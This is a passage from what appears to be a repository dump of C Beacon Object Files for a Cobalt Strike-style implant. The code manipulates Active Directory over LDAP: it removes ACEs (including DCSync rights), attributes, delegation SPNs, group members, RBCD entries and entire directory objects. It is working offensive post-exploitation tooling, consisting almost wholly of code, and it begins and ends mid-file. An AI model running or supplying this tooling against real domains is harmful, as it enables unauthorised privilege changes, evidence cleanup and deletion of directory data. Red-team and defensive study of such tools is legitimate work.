BeaconPrintf(CALLBACK_OUTPUT, \"[+] Current DACL has %d ACE(s)\", sdInfo->DaclAceCount);\n    \n    // Get target's SID for display\n    pObjectSid = GetObjectSid(ld, targetDN);\n    if (pObjectSid) {\n        objectSidStr = SidToString(pObjectSid);\n    }\n    \n    // Determine which ACEs to remove\n    DWORD removeCount = 0;\n    \n    if (removeByIndex) {\n        // Remove by specific index\n        if (aceIndex >= (int)sdInfo->DaclAceCount) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] ACE index %d out of range (max: %d)\", \n                        aceIndex, sdInfo->DaclAceCount - 1);\n            goto cleanup;\n        }\n        \n        acesToRemove = (DWORD*)MSVCRT$malloc(sizeof(DWORD));\n        if (!acesToRemove) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\");\n            goto cleanup;\n        }\n        \n        acesToRemove[0] = aceIndex;\n        removeCount = 1;\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Will remove ACE at index %d:\", aceIndex);\n        PrintAceInfo(&sdInfo->DaclAces[aceIndex], aceIndex, targetDN, objectSidStr);\n        \n    } else {\n        // Remove by matching - scan for all matching ACEs\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Scanning for matching ACEs...\");\n        \n        // First pass: count matches\n        for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n            if (DoesAceMatch(&sdInfo->DaclAces[i], trusteeSidStr, accessMask, aceType, \n                           guidsToMatch, guidCount)) {\n                removeCount++;\n            }\n        }\n        \n        if (removeCount == 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] No matching ACEs found for this trustee\");\n            goto cleanup;\n        }\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found %d matching ACE(s) to remove\", removeCount);\n        \n        // Allocate array for indices\n        acesToRemove = (DWORD*)MSVCRT$malloc(removeCount * sizeof(DWORD));\n        if (!acesToRemove) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\");\n            goto cleanup;\n        }\n        \n        // Second pass: collect indices and display\n        DWORD idx = 0;\n        for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n            if (DoesAceMatch(&sdInfo->DaclAces[i], trusteeSidStr, accessMask, aceType,\n                           guidsToMatch, guidCount)) {\n                acesToRemove[idx++] = i;\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Will remove ACE #%d:\", i);\n                PrintAceInfo(&sdInfo->DaclAces[i], i, targetDN, objectSidStr);\n            }\n        }\n    }\n    \n    // Get old DACL from security descriptor\n    PSECURITY_DESCRIPTOR pSD = (PSECURITY_DESCRIPTOR)sdBerval->bv_val;\n    PACL pOldDacl = NULL;\n    BOOL daclPresent = FALSE;\n    BOOL daclDefaulted = FALSE;\n    \n    if (!ADVAPI32$GetSecurityDescriptorDacl(pSD, &daclPresent, &pOldDacl, &daclDefaulted)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get DACL from security descriptor\");\n        goto cleanup;\n    }\n    \n    // Create new DACL without the specified ACEs\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Creating new DACL...\");\n    pNewDacl = CreateNewDaclWithoutAces(pOldDacl, acesToRemove, removeCount);\n    \n    if (!pNewDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create new DACL\");\n        goto cleanup;\n    }\n    \n    // Build new security descriptor\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Building new security descriptor...\");\n    \n    BYTE absoluteSDBuffer[SECURITY_DESCRIPTOR_MIN_LENGTH];\n    PSECURITY_DESCRIPTOR pNewSD = (PSECURITY_DESCRIPTOR)absoluteSDBuffer;\n    \n    if (!ADVAPI32$InitializeSecurityDescriptor(pNewSD, SECURITY_DESCRIPTOR_REVISION)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize security descriptor\");\n        goto cleanup;\n    }\n    \n    // Copy owner and group from original\n    PSID pOwner = NULL;\n    BOOL ownerDefaulted = FALSE;\n    ADVAPI32$GetSecurityDescriptorOwner(pSD, &pOwner, &ownerDefaulted);\n    if (pOwner) {\n        ADVAPI32$SetSecurityDescriptorOwner(pNewSD, pOwner, ownerDefaulted);\n    }\n    \n    PSID pGroup = NULL;\n    BOOL groupDefaulted = FALSE;\n    ADVAPI32$GetSecurityDescriptorGroup(pSD, &pGroup, &groupDefaulted);\n    if (pGroup) {\n        ADVAPI32$SetSecurityDescriptorGroup(pNewSD, pGroup, groupDefaulted);\n    }\n    \n    // Set the new DACL\n    if (!ADVAPI32$SetSecurityDescriptorDacl(pNewSD, TRUE, pNewDacl, FALSE)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set DACL\");\n        goto cleanup;\n    }\n    \n    // Copy SACL if present\n    PACL pSacl = NULL;\n    BOOL saclPresent = FALSE;\n    BOOL saclDefaulted = FALSE;\n    if (ADVAPI32$GetSecurityDescriptorSacl(pSD, &saclPresent, &pSacl, &saclDefaulted)) {\n        if (saclPresent) {\n            ADVAPI32$SetSecurityDescriptorSacl(pNewSD, TRUE, pSacl, saclDefaulted);\n        }\n    }\n    \n    // Convert to self-relative format for LDAP\n    newSdBerval = ConvertSecurityDescriptorToBerval(pNewSD);\n    if (!newSdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor\");\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Security descriptor ready (%d bytes)\", newSdBerval->bv_len);\n    \n    // Write back to LDAP\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Writing modified security descriptor...\");\n    BOOL writeSuccess = WriteSecurityDescriptor(ld, targetDN, newSdBerval);\n    \n    if (writeSuccess) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] SUCCESS: ACE(s) removed successfully!\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Removed: %d ACE(s)\", removeCount);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] New DACL: %d ACE(s) (was %d)\", \n                    sdInfo->DaclAceCount - removeCount, sdInfo->DaclAceCount);\n        \n        if (isDCSyncRemoval) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] DCSync rights revoked\");\n        }\n        \n        // Verify\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Verifying changes...\");\n        BERVAL* verifyBerval = ReadSecurityDescriptor(ld, targetDN);\n        if (verifyBerval) {\n            PSD_INFO verifyInfo = ParseSecurityDescriptor((BYTE*)verifyBerval->bv_val, \n                                                          verifyBerval->bv_len);\n            if (verifyInfo) {\n                DWORD expectedCount = sdInfo->DaclAceCount - removeCount;\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Verification: DACL has %d ACE(s) (expected %d)\", \n                            verifyInfo->DaclAceCount, expectedCount);\n                \n                if (verifyInfo->DaclAceCount == expectedCount) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[+] ACE count matches - operation successful\");\n                } else {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[!] Warning: ACE count mismatch\");\n                }\n                \n                FreeSecurityDescriptorInfo(verifyInfo);\n            }\n            MSVCRT$free(verifyBerval->bv_val);\n            MSVCRT$free(verifyBerval);\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"\\n[-] FAILED to remove ACE(s)\");\n    }\n\ncleanup:\n    // Free all allocated resources\n    if (newSdBerval) {\n        if (newSdBerval->bv_val) MSVCRT$free(newSdBerval->bv_val);\n        MSVCRT$free(newSdBerval);\n    }\n    if (pNewDacl) MSVCRT$free(pNewDacl);\n    if (acesToRemove) MSVCRT$free(acesToRemove);\n    if (objectSidStr) MSVCRT$free(objectSidStr);\n    if (pObjectSid) MSVCRT$free(pObjectSid);\n    if (sdInfo) FreeSecurityDescriptorInfo(sdInfo);\n    if (sdBerval) {\n        if (sdBerval->bv_val) MSVCRT$free(sdBerval->bv_val);\n        MSVCRT$free(sdBerval);\n    }\n    if (trusteeSidStr) MSVCRT$free(trusteeSidStr);\n    if (pTrusteeSid) MSVCRT$free(pTrusteeSid);\n    if (trusteeDN) MSVCRT$free(trusteeDN);\n    if (targetDN) MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (guidsToMatch) MSVCRT$free(guidsToMatch);\n    CleanupLDAP(ld);\n    \n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-attribute.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* attribute = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* value = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!attribute || MSVCRT$strlen(attribute) == 0) {\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    LDAPModA attr_mod;\n    attr_mod.mod_op = LDAP_MOD_DELETE;\n    attr_mod.mod_type = attribute;\n\n    if (value && MSVCRT$strlen(value) > 0) {\n        char* attr_values[] = { value, NULL };\n        attr_mod.mod_vals.modv_strvals = attr_values;\n    } else {\n        attr_mod.mod_vals.modv_strvals = NULL;\n    }\n\n    LDAPModA* mods[] = { &attr_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully removed attribute '%s'\", attribute);\n    } else if (result == LDAP_NO_SUCH_ATTRIBUTE) {\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to remove attribute\");\n        PrintLdapError(\"Remove attribute\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-delegation.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* spn = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!spn || MSVCRT$strlen(spn) == 0) {\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* spn_values[] = { spn, NULL };\n    LDAPModA spn_mod;\n    spn_mod.mod_op = LDAP_MOD_DELETE;\n    spn_mod.mod_type = \"msDS-AllowedToDelegateTo\";\n    spn_mod.mod_vals.modv_strvals = spn_values;\n\n    LDAPModA* mods[] = { &spn_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully removed delegation SPN '%s'\", spn);\n    } else if (result == LDAP_NO_SUCH_ATTRIBUTE) {\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to remove delegation\");\n        PrintLdapError(\"Remove delegation\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-groupmember.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: group_identifier, is_group_dn, member_identifier, is_member_dn, \n    // search_ou, dc_address, use_ldaps\n    char* groupIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isGroupDN = BeaconDataInt(&parser);\n    char* memberIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isMemberDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!memberIdentifier || MSVCRT$strlen(memberIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Member identifier is required\");\n        return;\n    }\n    \n    if (!groupIdentifier || MSVCRT$strlen(groupIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Group identifier is required\");\n        return;\n    }\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context (needed for searches if DN not provided)\n    char* defaultNC = NULL;\n    char* memberDN = NULL;\n    char* groupDN = NULL;\n    \n    if (!isMemberDN || !isGroupDN) {\n        \n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Resolve member DN\n    if (isMemberDN) {\n        // Member identifier is already a DN\n        size_t len = MSVCRT$strlen(memberIdentifier) + 1;\n        memberDN = (char*)MSVCRT$malloc(len);\n        if (memberDN) {\n            MSVCRT$strcpy(memberDN, memberIdentifier);\n        }\n    } else {\n        // Search for member by sAMAccountName\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        memberDN = FindObjectDN(ld, memberIdentifier, searchBase);\n        \n        if (!memberDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve member DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Member '%s' not found\", memberIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Member DN: %s\", memberDN);\n    }\n    \n    // Resolve group DN\n    if (isGroupDN) {\n        // Group identifier is already a DN\n        size_t len = MSVCRT$strlen(groupIdentifier) + 1;\n        groupDN = (char*)MSVCRT$malloc(len);\n        if (groupDN) {\n            MSVCRT$strcpy(groupDN, groupIdentifier);\n        }\n    } else {\n        // Search for group by sAMAccountName\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        groupDN = FindObjectDN(ld, groupIdentifier, searchBase);\n        \n        if (!groupDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve group DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Group '%s' not found\", groupIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            MSVCRT$free(memberDN);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Group DN: %s\", groupDN);\n    }\n    \n    // Prepare LDAP modification to remove member\n    char* member_values[] = { memberDN, NULL };\n    LDAPModA member_mod;\n    member_mod.mod_op = LDAP_MOD_DELETE;\n    member_mod.mod_type = \"member\";\n    member_mod.mod_vals.modv_strvals = member_values;\n    \n    LDAPModA* mods[] = { &member_mod, NULL };\n    \n    // Apply the modification\n    ULONG result = WLDAP32$ldap_modify_s(ld, groupDN, mods);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully removed member from group\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Member DN: %s\", memberDN);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Group DN: %s\", groupDN);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to remove member from group\");\n        PrintLdapError(\"Modify group\", result);\n        \n        // Provide helpful hints\n        if (result == LDAP_NO_SUCH_ATTRIBUTE) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Member is not in the group\");\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions to modify group membership\");\n        } else if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Group or member object does not exist\");\n        } else if (result == LDAP_INVALID_DN_SYNTAX) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid DN syntax\");\n        }\n    }\n    \n    // Cleanup\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (memberDN) MSVCRT$free(memberDN);\n    if (groupDN) MSVCRT$free(groupDN);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-object.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: object_identifier, is_object_dn, search_ou, dc_address, use_ldaps\n    char* objectIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isObjectDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!objectIdentifier || MSVCRT$strlen(objectIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object identifier is required\");\n        return;\n    }\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context (needed for searches if DN not provided)\n    char* defaultNC = NULL;\n    char* objectDN = NULL;\n    \n    if (!isObjectDN) {\n        \n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Resolve object DN\n    if (isObjectDN) {\n        // Object identifier is already a DN\n        size_t len = MSVCRT$strlen(objectIdentifier) + 1;\n        objectDN = (char*)MSVCRT$malloc(len);\n        if (objectDN) {\n            MSVCRT$strcpy(objectDN, objectIdentifier);\n        }\n    } else {\n        // Search for object by sAMAccountName\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        objectDN = FindObjectDN(ld, objectIdentifier, searchBase);\n        \n        if (!objectDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve object DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Object '%s' not found\", objectIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Delete the object\n    ULONG result = WLDAP32$ldap_delete_s(ld, objectDN);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully deleted object\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] DN: %s\", objectDN);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to delete object\");\n        PrintLdapError(\"Delete object\", result);\n        \n        // Provide helpful hints\n        if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Object does not exist\");\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions to delete object\");\n        } else if (result == LDAP_INVALID_DN_SYNTAX) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid DN syntax\");\n        }\n    }\n    \n    // Cleanup\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (objectDN) MSVCRT$free(objectDN);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-rbcd.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n#include \"acl_common.c\"\n\n// Helper function to check if an ACE matches our criteria\nBOOL DoesRbcdAceMatch(PPARSED_ACE_INFO ace, const char* trusteeSid, ACCESS_MASK accessMask) {\n    if (!ace || !trusteeSid) return FALSE;\n    \n    // Check SID match\n    if (ace->TrusteeSid && MSVCRT$strcmp(ace->TrusteeSid, trusteeSid) == 0) {\n        // If access mask is 0, match any mask (remove all ACEs for this trustee)\n        if (accessMask == 0) {\n            return TRUE;\n        }\n        \n        // Check if access mask matches\n        if (ace->Mask == accessMask) {\n            return TRUE;\n        }\n    }\n    \n    return FALSE;\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments:\n    // target_identifier, is_target_dn, principal_identifier (optional), is_principal_dn,\n    // access_mask (optional - 0 means remove all for principal),\n    // clear_all (if true, remove entire RBCD attribute),\n    // search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* principalIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isPrincipalDN = BeaconDataInt(&parser);\n    char* accessMaskStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int clearAll = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n    \n    // Determine removal mode\n    BOOL removeAllRbcd = clearAll;\n    BOOL removeByPrincipal = FALSE;\n    char* principalSidStr = NULL;\n    PSID pPrincipalSid = NULL;\n    ACCESS_MASK accessMask = 0;\n    \n    if (removeAllRbcd) {\n        // Clear all RBCD configuration\n    } else {\n        if (!principalIdentifier || MSVCRT$strlen(principalIdentifier) == 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Principal identifier required when not using --clear-all\");\n            return;\n        }\n        \n        removeByPrincipal = TRUE;\n        \n        // Parse access mask if provided\n        if (accessMaskStr && MSVCRT$strlen(accessMaskStr) > 0) {\n            accessMask = ParseAccessMask(accessMaskStr);\n        }\n    }\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context\n    char* defaultNC = NULL;\n    char* targetDN = NULL;\n    char* principalDN = NULL;\n    \n    \n    defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Resolve target DN\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        \n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve target DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Target '%s' not found\", targetIdentifier);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Resolve principal if removing by principal\n    if (removeByPrincipal) {\n        if (isPrincipalDN) {\n            size_t len = MSVCRT$strlen(principalIdentifier) + 1;\n            principalDN = (char*)MSVCRT$malloc(len);\n            if (principalDN) {\n                MSVCRT$strcpy(principalDN, principalIdentifier);\n            }\n        } else {\n            char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n            principalDN = FindObjectDN(ld, principalIdentifier, searchBase);\n            \n            if (!principalDN) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve principal DN\");\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Principal '%s' not found\", principalIdentifier);\n                if (targetDN) MSVCRT$free(targetDN);\n                MSVCRT$free(defaultNC);\n                if (dcHostname) MSVCRT$free(dcHostname);\n                CleanupLDAP(ld);\n                return;\n            }\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Resolved principal DN: %s\", principalDN);\n        }\n        \n        // Get principal's objectSid\n        pPrincipalSid = GetObjectSid(ld, principalDN);\n        \n        if (!pPrincipalSid) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve principal's objectSid\");\n            if (principalDN) MSVCRT$free(principalDN);\n            if (targetDN) MSVCRT$free(targetDN);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n        \n        // Convert SID to string for matching\n        principalSidStr = SidToString(pPrincipalSid);\n        if (principalSidStr) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Principal SID: %s\", principalSidStr);\n        }\n    }\n    \n    // Read current RBCD configuration\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char* attrs[] = { \"msDS-AllowedToActOnBehalfOfOtherIdentity\", NULL };\n    struct berval** values = NULL;\n    BERVAL* currentRbcdBerval = NULL;\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        targetDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for object\");\n        